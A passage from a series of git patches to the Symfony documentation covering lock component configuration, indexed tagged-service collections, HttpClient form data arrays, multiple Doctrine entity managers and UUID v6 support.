+
+    // src/Controller/PdfController.php
+    namespace App\Controller;
+
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\Lock\LockInterface;
+
+    class PdfController extends AbstractController
+    {
+        /**
+         * @Route("/download/{version}/terms-of-use.pdf")
+         */
+        public function downloadPdf($version, LockFactory $lockFactory, MyPdfGeneratorService $pdf)
+        {
+            $lock = $lockFactory->createLock($version);
+            $lock->acquire(true);
+
+            // heavy computation
+            $myPdf = $pdf->getOrCreatePdf($version);
+
+            $lock->release();
+
+            // ...
+        }
+    }
+
+Named Lock
+----------
+
+If the application needs different kind of Stores alongside each other, Symfony
+provides :ref:`named lock <reference-lock-resources-name>`::
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/lock.yaml
+        framework:
+            lock:
+                invoice: ['semaphore', 'redis://r2.docker']
+                report: 'semaphore'
+
+    .. code-block:: xml
+
+        <!-- config/packages/lock.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:lock>
+                    <framework:resource name="invoice">semaphore</framework:resource>
+                    <framework:resource name="invoice">redis://r2.docker</framework:resource>
+                    <framework:resource name="report">semaphore</framework:resource>
+                </framework:lock>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/lock.php
+        $container->loadFromExtension('framework', [
+            'lock' => [
+                'invoice' => ['semaphore', 'redis://r2.docker'],
+                'report' => 'semaphore',
+            ],
+        ]);
+
+Each name becomes a service where the service id suffixed by the name of the
+lock (e.g. ``lock.invoice``). An autowiring alias is also created for each lock
+using the camel case version of its name suffixed by ``Lock`` - e.g. ``invoice``
+can be injected automatically by naming the argument ``$invoiceLock`` and
+type-hinting it with :class:`Symfony\\Component\\Lock\\LockInterface`.
+
+Symfony also provide a corresponding factory and store following the same rules
+(e.g. ``invoice`` generates a ``lock.invoice.factory`` and
+``lock.invoice.store``, both can be injected automatically by naming
+respectively ``$invoiceLockFactory`` and ``$invoiceLockStore`` and type-hinted
+with :class:`Symfony\\Component\\Lock\\LockFactory` and
+:class:`Symfony\\Component\\Lock\\PersistingStoreInterface`)
+
+Blocking Store
+--------------
+
+If you want to use the ``RetryTillSaveStore`` for :ref:`non-blocking locks <lock-blocking-locks>`,
+you can do it by :doc:`decorating the store </service_container/service_decoration>` service:
+
+.. code-block:: yaml
+
+    lock.default.retry_till_save.store:
+        class: Symfony\Component\Lock\Store\RetryTillSaveStore
+        decorates: lock.default.store
+        arguments: ['@lock.default.retry_till_save.store.inner', 100, 50]
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index efcdb5d16c5..62d68a5b929 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1346,8 +1346,8 @@ The possible values for this option are:
 
 * ``null``, use it to disable this protection. Same behavior as in older Symfony
   versions.
-* ``'none'`` (or the ``Cookie::SAMESITE_NONE`` constant), use it to allow 
-  sending of cookies when the HTTP request originated from a different domain 
+* ``'none'`` (or the ``Cookie::SAMESITE_NONE`` constant), use it to allow
+  sending of cookies when the HTTP request originated from a different domain
   (previously this was the default behavior of null, but in newer browsers ``'lax'``
   would be applied when the header has not been set)
 * ``'strict'`` (or the ``Cookie::SAMESITE_STRICT`` constant), use it to never
@@ -2836,21 +2836,7 @@ A list of lock stores to be created by the framework extension.
 
         # config/packages/lock.yaml
         framework:
-            # these are all the supported lock stores
-            lock: ~
-            lock: 'flock'
-            lock: 'flock:///path/to/file'
-            lock: 'semaphore'
-            lock: 'memcached://m1.docker'
-            lock: ['memcached://m1.docker', 'memcached://m2.docker']
-            lock: 'redis://r1.docker'
-            lock: ['redis://r1.docker', 'redis://r2.docker']
-            lock: '%env(MEMCACHED_OR_REDIS_URL)%'
-
-            # named locks
-            lock:
-                invoice: ['redis://r1.docker', 'redis://r2.docker']
-                report: 'semaphore'
+            lock: '%env(LOCK_DSN)%'
 
     .. code-block:: xml
 
@@ -2865,29 +2851,7 @@ A list of lock stores to be created by the framework extension.
 
             <framework:config>
                 <framework:lock>
-                    <!-- these are all the supported lock stores -->
-                    <framework:resource>flock</framework:resource>
-
-                    <framework:resource>flock:///path/to/file</framework:resource>
-
-                    <framework:resource>semaphore</framework:resource>
-
-                    <framework:resource>memcached://m1.docker</framework:resource>
-
-                    <framework:resource>memcached://m1.docker</framework:resource>
-                    <framework:resource>memcached://m2.docker</framework:resource>
-
-                    <framework:resource>redis://r1.docker</framework:resource>
-
-                    <framework:resource>redis://r1.docker</framework:resource>
-                    <framework:resource>redis://r2.docker</framework:resource>
-
-                    <framework:resource>%env(REDIS_URL)%</framework:resource>
-
-                    <!-- named locks -->
-                    <framework:resource name="invoice">redis://r1.docker</framework:resource>
-                    <framework:resource name="invoice">redis://r2.docker</framework:resource>
-                    <framework:resource name="report">semaphore</framework:resource>
+                    <framework:resource>%env(LOCK_DSN)%</framework:resource>
                 </framework:lock>
             </framework:config>
         </container>
@@ -2896,27 +2860,12 @@ A list of lock stores to be created by the framework extension.
 
         // config/packages/lock.php
         $container->loadFromExtension('framework', [
-            // these are all the supported lock stores
-            'lock' => null,
-            'lock' => 'flock',
-            'lock' => 'flock:///path/to/file',
-            'lock' => 'semaphore',
-            'lock' => 'memcached://m1.docker',
-            'lock' => ['memcached://m1.docker', 'memcached://m2.docker'],
-            'lock' => 'redis://r1.docker',
-            'lock' => ['redis://r1.docker', 'redis://r2.docker'],
-            'lock' => '%env(MEMCACHED_OR_REDIS_URL)%',
-
-            // named locks
-            'lock' => [
-                'invoice' => ['redis://r1.docker', 'redis://r2.docker'],
-                'report' => 'semaphore',
-            ],
+            'lock' => '%env(LOCK_DSN)%',
         ]);
 
-.. versionadded:: 4.2
+.. seealso::
 
-    The ``flock://`` store was introduced in Symfony 4.2.
+    For more details, see :doc:`/lock`.
 
 .. _reference-lock-resources-name:
 

From 1170a7c595b9bda25c0359842f3a5611a36825ce Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sun, 4 Oct 2020 13:03:52 +0200
Subject: [PATCH 1242/7107] [#12523] Reworded caution

---
 lock.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/lock.rst b/lock.rst
index aed72c9edf3..72fb36dc779 100644
--- a/lock.rst
+++ b/lock.rst
@@ -181,9 +181,9 @@ To lock the default resource, autowire the lock using
 .. caution::
 
     The same instance of ``LockInterface`` won't block when calling ``acquire``
-    multiple times. Inside the same process, when several services share the
-    same instance of ``LockInterface``, they won't lock each other. When the
-    same process run concurent tasks, inject the ``LockFactory`` instead.
+    multiple times inside the same process. When several services use the
+    same lock, inject the ``LockFactory`` instead to create a separate lock
+    instance for each service.
 
 Locking a Dynamic Resource
 --------------------------

From 980b3d365d9576ee14815b338c58ca4b0944ec4b Mon Sep 17 00:00:00 2001
From: Anthony MARTIN <anthony.martin@sensiolabs.com>
Date: Mon, 18 Feb 2019 11:09:29 +0100
Subject: [PATCH 1243/7107] [DependencyInjection] Doc for #30257 Allow to
 choose an index for tagged collection

---
 service_container/tags.rst | 206 +++++++++++++++++++++++++++++++++++++
 1 file changed, 206 insertions(+)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index 8793048211b..601e8f6d136 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -699,3 +699,209 @@ in the configuration of the collecting service:
                 )
                 ;
         };
+
+Tagged Services Collection with Index
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you want to retrieve a specific service within the injected collection
+you can use the ``index_by`` and ``default_index_method`` options of the argument
+in combination with ``!tagged``.
+
+In the following example, all services tagged with ``app.handler`` are passed as
+first constructor argument to ``App\Handler\HandlerCollection``,
+but we can now access a specific injected service:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            App\Handler\One:
+                tags:
+                    - { name: 'app.handler', key: 'handler_one' }
+
+            App\Handler\Two:
+                tags:
+                    - { name: 'app.handler', key: 'handler_two' }
+
+            App\HandlerCollection:
+                # inject all services tagged with app.handler as first argument
+                arguments: [!tagged { tag: 'app.handler', index_by: 'key' }]
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                http://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <service id="App\Handler\One">
+                    <tag name="app.handler" key="handler_one" />
+                </service>
+
+                <service id="App\Handler\Two">
+                    <tag name="app.handler" key="handler_two" />
+                </service>
+
+                <service id="App\HandlerCollection">
+                    <!-- inject all services tagged with app.handler as first argument -->
+                    <argument type="tagged" tag="app.handler" index-by="key" />
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        use Symfony\Component\DependencyInjection\Argument\TaggedIteratorArgument;
+
+        $container->register(App\Handler\One::class)
+            ->addTag('app.handler', ['key' => 'handler_one']);
+
+        $container->register(App\Handler\Two::class)
+            ->addTag('app.handler', ['key' => 'handler_two']);
+
+        $container->register(App\Handler\HandlerCollection::class)
+            // inject all services tagged with app.handler as first argument
+            ->addArgument(new TaggedIteratorArgument('app.handler', 'key'));
+
+After compilation the ``HandlerCollection`` is able to iterate over your
+application handlers. To retrieve a specific service by it's ``key`` attribute
+from the iterator, we can use ``iterator_to_array`` and retrieve the ``handler_two``:
+to get an array and then retrieve the ``handler_two`` handler::
+
+    // src/Handler/HandlerCollection.php
+    namespace App\Handler;
+
+    class HandlerCollection
+    {
+        public function __construct(iterable $handlers)
+        {
+            $handlers = iterator_to_array($handlers);
+
+            $handlerTwo = $handlers['handler_two']:
+        }
+    }
+
+.. tip::
+
+    You can omit the ``index_attribute_name`` attribute, by implementing a static
+    method ``getDefaultIndexAttributeName`` to the handler.
+
+    Based on the previous example ``App\Handler\One`` should look like this::
+
+        // src/Handler/One.php
+        namespace App\Handler;
+
+        class One
+        {
+            public static function getDefaultIndexName(): string
+            {
+                return 'handler_one';
+            }
+        }
+
+    And the configuration:
+
+    .. configuration-block::
+
+        .. code-block:: yaml
+
+            # config/services.yaml
+            services:
+                App\Handler\One:
+                    tags:
+                        - { name: 'app.handler', priority: 20 }
+
+                # ...
+
+        .. code-block:: xml
+
+            <!-- config/services.xml -->
+            <?xml version="1.0" encoding="UTF-8" ?>
+            <container xmlns="http://symfony.com/schema/dic/services"
+                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+                xsi:schemaLocation="http://symfony.com/schema/dic/services
+                    http://symfony.com/schema/dic/services/services-1.0.xsd">
+
+                <services>
+                    <service id="App\Handler\One">
+                        <tag name="app.handler" priority="20" />
+                    </service>
+
+                    <!-- ... -->
+                </services>
+            </container>
+
+        .. code-block:: php
+
+            // config/services.php
+            $container->register(App\Handler\One::class)
+                ->addTag('app.handler', ['priority' => 20]);
+
+            // ...
+
+    You also can define the name of the static method to implement on each service
+    with the ``default_index_method`` attribute on the argument.
+
+    Based on the previous example ``App\Handler\One`` should look like::
+
+        // src/Handler/One.php
+        namespace App\Handler;
+
+        class One
+        {
+            public static function someFunctionName(): string
+            {
+                return 'handler_one';
+            }
+        }
+
+    And the configuration:
+
+    .. configuration-block::
+
+        .. code-block:: yaml
+
+            # config/services.yaml
+            services:
+                # ...
+
+                App\HandlerCollection:
+                    # inject all services tagged with app.handler as first argument
+                    arguments: [!tagged { tag: 'app.handler', index_by: 'key', default_index_method: 'someFunctionName' }]
+
+        .. code-block:: xml
+
+            <!-- config/services.xml -->
+            <?xml version="1.0" encoding="UTF-8" ?>
+            <container xmlns="http://symfony.com/schema/dic/services"
+                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+                xsi:schemaLocation="http://symfony.com/schema/dic/services
+                    http://symfony.com/schema/dic/services/services-1.0.xsd">
+
+                <services>
+
+                    <!-- ... --!>
+
+                    <service id="App\HandlerCollection">
+                        <!-- inject all services tagged with app.handler as first argument -->
+                        <argument type="tagged" tag="app.handler" index-by="key" default-index-method="someFunctionName" />
+                    </service>
+                </services>
+            </container>
+
+        .. code-block:: php
+
+            // config/services.php
+            // ...
+
+            $container->register(App\HandlerCollection::class)
+                // inject all services tagged with app.handler as first argument
+                ->addArgument(new TaggedIteratorArgument('app.handler', 'key', 'someFunctionName'));
+
+See also :doc:`tagged locator services </service_container/service_subscribers_locators>`

From 4ffbc6217609393ee62963371d4373a903df2add Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sun, 4 Oct 2020 13:36:32 +0200
Subject: [PATCH 1244/7107] [#11009] Some tweaks

---
 .../service_subscribers_locators.rst          |   2 +-
 service_container/tags.rst                    | 152 +++++++-----------
 2 files changed, 61 insertions(+), 93 deletions(-)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index d6a13afd013..a9579bcfcc3 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -394,7 +394,7 @@ will share identical locators among all the services referencing them::
     use Symfony\Component\DependencyInjection\Compiler\ServiceLocatorTagPass;
     use Symfony\Component\DependencyInjection\ContainerBuilder;
     use Symfony\Component\DependencyInjection\Reference;
-    
+
     public function process(ContainerBuilder $container)
     {
         // ...
diff --git a/service_container/tags.rst b/service_container/tags.rst
index 601e8f6d136..4eb2697c7cc 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -585,6 +585,10 @@ application handlers::
         }
     }
 
+.. seealso::
+
+    See also :doc:`tagged locator services </service_container/service_subscribers_locators>`
+
 Tagged Services with Priority
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -694,22 +698,20 @@ in the configuration of the collecting service:
 
             $services->set(App\HandlerCollection::class)
                 ->args([
-                        tagged_iterator('app.handler', null, null, 'getPriority'),
-                    ]
-                )
-                ;
+                    tagged_iterator('app.handler', null, null, 'getPriority'),
+                ])
+            ;
         };
 
-Tagged Services Collection with Index
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Tagged Services with Index
+~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 If you want to retrieve a specific service within the injected collection
-you can use the ``index_by`` and ``default_index_method`` options of the argument
-in combination with ``!tagged``.
+you can use the ``index_by`` and ``default_index_method`` options of the
+argument in combination with ``!tagged``.
 
-In the following example, all services tagged with ``app.handler`` are passed as
-first constructor argument to ``App\Handler\HandlerCollection``,
-but we can now access a specific injected service:
+Using the previous example, this service configuration creates a collection
+indexed by the ``key`` attribute:
 
 .. configuration-block::
 
@@ -726,8 +728,7 @@ but we can now access a specific injected service:
                     - { name: 'app.handler', key: 'handler_two' }
 
             App\HandlerCollection:
-                # inject all services tagged with app.handler as first argument
-                arguments: [!tagged { tag: 'app.handler', index_by: 'key' }]
+                arguments: [!tagged_iterator { tag: 'app.handler', index_by: 'key' }]
 
     .. code-block:: xml
 
@@ -748,8 +749,7 @@ but we can now access a specific injected service:
                 </service>
 
                 <service id="App\HandlerCollection">
-                    <!-- inject all services tagged with app.handler as first argument -->
-                    <argument type="tagged" tag="app.handler" index-by="key" />
+                    <argument type="tagged_iterator" tag="app.handler" index-by="key" />
                 </service>
             </services>
         </container>
@@ -757,17 +757,28 @@ but we can now access a specific injected service:
     .. code-block:: php
 
         // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use App\Handler\One;
+        use App\Handler\Two;
         use Symfony\Component\DependencyInjection\Argument\TaggedIteratorArgument;
 
-        $container->register(App\Handler\One::class)
-            ->addTag('app.handler', ['key' => 'handler_one']);
+        return function (ContainerConfigurator $configurator) {
+            $services = $configurator->services();
+
+            $services->set(One::class)
+                ->tag('app.handler', ['key' => 'handler_one']);
 
-        $container->register(App\Handler\Two::class)
-            ->addTag('app.handler', ['key' => 'handler_two']);
+            $services->set(Two::class)
+                ->tag('app.handler', ['key' => 'handler_two']);
 
-        $container->register(App\Handler\HandlerCollection::class)
-            // inject all services tagged with app.handler as first argument
-            ->addArgument(new TaggedIteratorArgument('app.handler', 'key'));
+            $services->set(App\HandlerCollection::class)
+                ->args([
+                    // 2nd argument is the index attribute name
+                    tagged_iterator('app.handler', 'key'),
+                ])
+            ;
+        };
 
 After compilation the ``HandlerCollection`` is able to iterate over your
 application handlers. To retrieve a specific service by it's ``key`` attribute
@@ -789,79 +800,24 @@ to get an array and then retrieve the ``handler_two`` handler::
 
 .. tip::
 
-    You can omit the ``index_attribute_name`` attribute, by implementing a static
-    method ``getDefaultIndexAttributeName`` to the handler.
-
-    Based on the previous example ``App\Handler\One`` should look like this::
+    Just like the priority, you can also implement a static
+    ``getDefaultIndexAttributeName()`` method in the handlers and omit the
+    index attribute (``key``)::
 
         // src/Handler/One.php
         namespace App\Handler;
 
         class One
         {
+            // ...
             public static function getDefaultIndexName(): string
             {
                 return 'handler_one';
             }
         }
 
-    And the configuration:
-
-    .. configuration-block::
-
-        .. code-block:: yaml
-
-            # config/services.yaml
-            services:
-                App\Handler\One:
-                    tags:
-                        - { name: 'app.handler', priority: 20 }
-
-                # ...
-
-        .. code-block:: xml
-
-            <!-- config/services.xml -->
-            <?xml version="1.0" encoding="UTF-8" ?>
-            <container xmlns="http://symfony.com/schema/dic/services"
-                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-                xsi:schemaLocation="http://symfony.com/schema/dic/services
-                    http://symfony.com/schema/dic/services/services-1.0.xsd">
-
-                <services>
-                    <service id="App\Handler\One">
-                        <tag name="app.handler" priority="20" />
-                    </service>
-
-                    <!-- ... -->
-                </services>
-            </container>
-
-        .. code-block:: php
-
-            // config/services.php
-            $container->register(App\Handler\One::class)
-                ->addTag('app.handler', ['priority' => 20]);
-
-            // ...
-
     You also can define the name of the static method to implement on each service
-    with the ``default_index_method`` attribute on the argument.
-
-    Based on the previous example ``App\Handler\One`` should look like::
-
-        // src/Handler/One.php
-        namespace App\Handler;
-
-        class One
-        {
-            public static function someFunctionName(): string
-            {
-                return 'handler_one';
-            }
-        }
-
-    And the configuration:
+    with the ``default_index_method`` attribute on the tagged argument:
 
     .. configuration-block::
 
@@ -872,8 +828,8 @@ to get an array and then retrieve the ``handler_two`` handler::
                 # ...
 
                 App\HandlerCollection:
-                    # inject all services tagged with app.handler as first argument
-                    arguments: [!tagged { tag: 'app.handler', index_by: 'key', default_index_method: 'someFunctionName' }]
+                    # use getIndex() instead of getDefaultIndexName()
+                    arguments: [!tagged_iterator { tag: 'app.handler', default_index_method: 'getIndex' }]
 
         .. code-block:: xml
 
@@ -885,12 +841,14 @@ to get an array and then retrieve the ``handler_two`` handler::
                     http://symfony.com/schema/dic/services/services-1.0.xsd">
 
                 <services>
-
                     <!-- ... --!>
 
                     <service id="App\HandlerCollection">
-                        <!-- inject all services tagged with app.handler as first argument -->
-                        <argument type="tagged" tag="app.handler" index-by="key" default-index-method="someFunctionName" />
+                        <!-- use getIndex() instead of getDefaultIndexName() -->
+                        <argument type="tagged_iterator"
+                            tag="app.handler"
+                            default-index-method="someFunctionName"
+                        />
                     </service>
                 </services>
             </container>
@@ -898,10 +856,20 @@ to get an array and then retrieve the ``handler_two`` handler::
         .. code-block:: php
 
             // config/services.php
-            // ...
+            namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-            $container->register(App\HandlerCollection::class)
-                // inject all services tagged with app.handler as first argument
-                ->addArgument(new TaggedIteratorArgument('app.handler', 'key', 'someFunctionName'));
+            use App\HandlerCollection;
+            use Symfony\Component\DependencyInjection\Argument\TaggedIteratorArgument;
+
+            return function (ContainerConfigurator $configurator) {
+                $services = $configurator->services();
 
-See also :doc:`tagged locator services </service_container/service_subscribers_locators>`
+                // ...
+
+                // use getIndex() instead of getDefaultIndexName()
+                $services->set(HandlerCollection::class)
+                    ->args([
+                        tagged_iterator('app.handler', null, 'getIndex'),
+                    ])
+                ;
+            };

From a113e7306d58b7bb1438b3e46dc9252c7acdf516 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sun, 4 Oct 2020 14:30:15 +0200
Subject: [PATCH 1245/7107] Fixed DOCtor errors

---
 service_container/tags.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index 4eb2697c7cc..79d8cc85755 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -737,19 +737,19 @@ indexed by the ``key`` attribute:
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                http://symfony.com/schema/dic/services/services-1.0.xsd">
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
 
             <services>
                 <service id="App\Handler\One">
-                    <tag name="app.handler" key="handler_one" />
+                    <tag name="app.handler" key="handler_one"/>
                 </service>
 
                 <service id="App\Handler\Two">
-                    <tag name="app.handler" key="handler_two" />
+                    <tag name="app.handler" key="handler_two"/>
                 </service>
 
                 <service id="App\HandlerCollection">
-                    <argument type="tagged_iterator" tag="app.handler" index-by="key" />
+                    <argument type="tagged_iterator" tag="app.handler" index-by="key"/>
                 </service>
             </services>
         </container>
@@ -838,7 +838,7 @@ to get an array and then retrieve the ``handler_two`` handler::
             <container xmlns="http://symfony.com/schema/dic/services"
                 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
                 xsi:schemaLocation="http://symfony.com/schema/dic/services
-                    http://symfony.com/schema/dic/services/services-1.0.xsd">
+                    https://symfony.com/schema/dic/services/services-1.0.xsd">
 
                 <services>
                     <!-- ... --!>

From ce94f893ae8453861d76d98287804a929da392db Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sun, 4 Oct 2020 14:30:41 +0200
Subject: [PATCH 1246/7107] Removed versionadded 4.4 directives

---
 configuration.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index b84e1b0e90e..5d4354d562b 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -144,10 +144,6 @@ configuration files, even if they use a different format:
 
         // ...
 
-.. versionadded:: 4.4
-
-    The ``not_found`` option value for ``ignore_errors`` was introduced in Symfony 4.4.
-
 .. _config-parameter-intro:
 .. _config-parameters-yml:
 .. _configuration-parameters:

From 0d75a9855d5a9fa6f94885da33248e9a2af7908e Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Maxime=20H=C3=A9lias?= <maximehelias16@gmail.com>
Date: Sun, 4 Oct 2020 16:59:30 +0200
Subject: [PATCH 1247/7107] [DI] replace tagged by tagged_iterator

---
 service_container/tags.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index 79d8cc85755..db0501182bc 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -679,7 +679,7 @@ in the configuration of the collecting service:
                 https://symfony.com/schema/dic/services/services-1.0.xsd">
             <services>
                 <service id="App\HandlerCollection">
-                    <argument type="tagged" tag="app.handler" default-priority-method="getPriority"/>
+                    <argument type="tagged_iterator" tag="app.handler" default-priority-method="getPriority"/>
                 </service>
             </services>
         </container>
@@ -708,7 +708,7 @@ Tagged Services with Index
 
 If you want to retrieve a specific service within the injected collection
 you can use the ``index_by`` and ``default_index_method`` options of the
-argument in combination with ``!tagged``.
+argument in combination with ``!tagged_iterator``.
 
 Using the previous example, this service configuration creates a collection
 indexed by the ``key`` attribute:

From 1a56331bee4daf037f09b1a0e991f9ef9c5d539c Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Sun, 4 Oct 2020 18:34:50 +0200
Subject: [PATCH 1248/7107] Add alternative FormDataPart array structure

---
 http_client.rst | 29 +++++++++++++++++++++++++++++
 1 file changed, 29 insertions(+)

diff --git a/http_client.rst b/http_client.rst
index 7f44141a6dc..240d28d1e73 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -619,6 +619,35 @@ according to the ``multipart/form-data`` content-type. The
         'body' => $formData->bodyToIterable(),
     ]);
 
+.. tip::
+
+    When using multidimensional arrays the :class:`Symfony\\Component\\Mime\\Part\\Multipart\\FormDataPart`
+    automatically appends ``[key]`` to the name of the field::
+
+        $formData = new FormDataPart([
+            'array_field' => [
+                'some value',
+                'other value',
+            ],
+        ]);
+
+        $formData->getParts(); // Returns two instances of TextPart
+                               // with the names "array_field[0]" and "array_field[1]"
+
+    This behavior can be bypassed by using the following array structure::
+
+        $formData = new FormDataPart([
+            ['array_field' => 'some value'],
+            ['array_field' => 'other value'],
+        ]);
+
+        $formData->getParts(); // Returns two instances of TextPart both
+                               // with the name "array_field"
+
+    .. versionadded:: 5.2
+
+        The alternative array structure was introduced in Symfony 5.2.
+
 By default, HttpClient streams the body contents when uploading them. This might
 not work with all servers, resulting in HTTP status code 411 ("Length Required")
 because there is no ``Content-Length`` header. The solution is to turn the body

From de39e50ca2ba4db7e81ef93dd407e68ff44df59e Mon Sep 17 00:00:00 2001
From: Guillaume <guillaume@m42.sh>
Date: Fri, 6 Sep 2019 12:06:52 +0200
Subject: [PATCH 1249/7107] Multiple entity managers and shared entities
 management

---
 doctrine/multiple_entity_managers.rst | 27 +++++++++++++++++++++++++--
 1 file changed, 25 insertions(+), 2 deletions(-)

diff --git a/doctrine/multiple_entity_managers.rst b/doctrine/multiple_entity_managers.rst
index b7f61039a1e..33e0da09cf9 100644
--- a/doctrine/multiple_entity_managers.rst
+++ b/doctrine/multiple_entity_managers.rst
@@ -9,6 +9,8 @@ application. This is necessary if you are using different databases or even
 vendors with entirely different sets of entities. In other words, one entity
 manager that connects to one database will handle some entities while another
 entity manager that connects to another database might handle the rest.
+It is also possible to use multiple entity managers to manage a common set of
+entities, each with their own database connection strings or separate cache configuration.
 
 .. note::
 
@@ -44,7 +46,6 @@ The following configuration code shows how you can configure two entity managers
                         driver: 'pdo_mysql'
                         server_version: '5.7'
                         charset: utf8mb4
-
             orm:
                 default_entity_manager: default
                 entity_managers:
@@ -183,7 +184,7 @@ In this case, you've defined two entity managers and called them ``default``
 and ``customer``. The ``default`` entity manager manages entities in the
 ``src/Entity/Main`` directory, while the ``customer`` entity manager manages
 entities in ``src/Entity/Customer``. You've also defined two connections, one
-for each entity manager.
+for each entity manager, but you are free to define the same connection for both.
 
 .. caution::
 
@@ -283,4 +284,26 @@ The same applies to repository calls::
         }
     }
 
+.. caution::
+
+    One entity can be managed by more than one entity manager. This however
+    result in unexpected behavior when extending from ``ServiceEntityRepository``
+    in your custom repository. The ``ServiceEntityRepository`` always
+    uses the configured entity manager for that entity.
+
+    In order to fix this situation, extend ``EntityRepository`` instead and
+    no longer rely on autowiring::
+
+        // src/Repository/CustomerRepository.php
+        namespace App\Repository;
+
+        use Doctrine\ORM\EntityRepository;
+
+        class CustomerRepository extends EntityRepository
+        {
+            // ...
+        }
+
+	You should now always fetch this repository using ``ManagerRegistry::getRepository()``.
+
 .. _`several alternatives`: https://stackoverflow.com/a/11494543

From bf310c1ecb2c3289a3517c60965732db17fb207d Mon Sep 17 00:00:00 2001
From: Johan <JohJohan@users.noreply.github.com>
Date: Sun, 4 Oct 2020 15:49:59 +0200
Subject: [PATCH 1250/7107] 14300 Update support for Uuid 6

---
 reference/constraints/Uuid.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/reference/constraints/Uuid.rst b/reference/constraints/Uuid.rst
index 6e9794b8b5d..3b81433d28a 100644
--- a/reference/constraints/Uuid.rst
+++ b/reference/constraints/Uuid.rst
@@ -124,9 +124,9 @@ will allow alternate input formats like:
 ``versions``
 ~~~~~~~~~~~~
 
-**type**: ``int[]`` **default**: ``[1,2,3,4,5]``
+**type**: ``int[]`` **default**: ``[1,2,3,4,5,6]``
 
-This option can be used to only allow specific `UUID versions`_.  Valid versions are 1 - 5.
+This option can be used to only allow specific `UUID versions`_.  Valid versions are 1 - 6.
 The following PHP constants can also be used:
 
 * ``Uuid::V1_MAC``
@@ -134,8 +134,9 @@ The following PHP constants can also be used:
 * ``Uuid::V3_MD5``
 * ``Uuid::V4_RANDOM``
 * ``Uuid::V5_SHA1``
+* ``Uuid::V6_SORTABLE``
 
-All five versions are allowed by default.
+All six versions are allowed by default.
 
 .. _`Universally unique identifier (UUID)`: https://en.wikipedia.org/wiki/Universally_unique_identifier
 .. _`RFC 4122`: https://tools.ietf.org/html/rfc4122

From 0017158c805d9fadbc66bfbc04ba02901d726d23 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 5 Oct 2020 12:24:09 +0200
Subject: [PATCH 1251/7107] Added versionadded directive

---
 reference/constraints/Uuid.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/reference/constraints/Uuid.rst b/reference/constraints/Uuid.rst
index 3b81433d28a..427a373f788 100644
--- a/reference/constraints/Uuid.rst
+++ b/reference/constraints/Uuid.rst
@@ -138,6 +138,10 @@ The following PHP constants can also be used:
 
 All six versions are allowed by default.
 
+.. versionadded:: 5.2
+
+    The UUID 6 version support was introduced in Symfony 5.2.
+
 .. _`Universally unique identifier (UUID)`: https://en.wikipedia.org/wiki/Universally_unique_identifier
